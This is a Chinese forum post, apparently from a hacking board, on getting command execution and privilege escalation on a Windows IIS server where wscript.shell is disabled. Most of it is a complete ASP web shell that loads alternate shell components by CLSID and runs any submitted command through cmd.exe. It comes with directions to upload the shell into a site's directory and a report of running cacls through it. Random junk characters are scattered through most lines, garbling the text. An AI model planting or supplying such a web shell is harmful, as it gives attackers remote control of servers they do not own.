可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。/ |1 I7 D7 {1 Y3 T$ j" V# O+ a8 u
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。! u/ m* q3 j. V) l; G9 [
要想让运行命令可以试试这种方法,成功率为五五之数。
% U, l- n) b( r" h* q9 C% X把下面代码复制:
+ I! r) ~$ Y. t& ^: z<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
' G. D; k, V' L3 _<%if err then%>0 ?% l7 n0 R6 \# N
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>$ r2 K. J7 H6 w1 f7 Y4 f
<%6 m0 M* w" o( S: s
end if
p) ^. h7 |$ _( L6 p9 O9 gresponse.write("<textarea readonly cols=80 rows=20>")* i) `. r) ~1 Z, ?- c& ^
On Error Resume Next% j" ^ Z# ~. w- R/ i/ E
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
, j% e- o8 P6 n$ H# o" T* @/ Rresponse.write("</textarea>")1 M e. k; n/ F5 q: W5 i5 r4 j
response.write("<form method='post'>")
7 y c- M7 F% ^( V9 }+ q: h6 e; hresponse.write("<input type=text name='c' size=60><br>")
; |- ^3 j W% Fresponse.write("<input type=submit value='执行'></form>")
8 G) q1 z+ p4 N/ |- b%>4 ~) N$ Y# T- Q2 `2 Q# z' c% Z
9 d# f5 \* ^& d' `6 j5 r. J+ [保存为一个asp文件,然后传到网站目录上去1 G( t# L; U# `6 T8 c. C& }' ~/ B
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。% ~: e: H1 Z0 F* Q0 ?7 ]! T* B
我用此成功运行过cacls命令。
0 ?* z& t3 f! {$ J5 o' i7 s
; j' Q$ N- N, b4 ~6 [第二那就是运行时出错,可能限制某些代码执行 |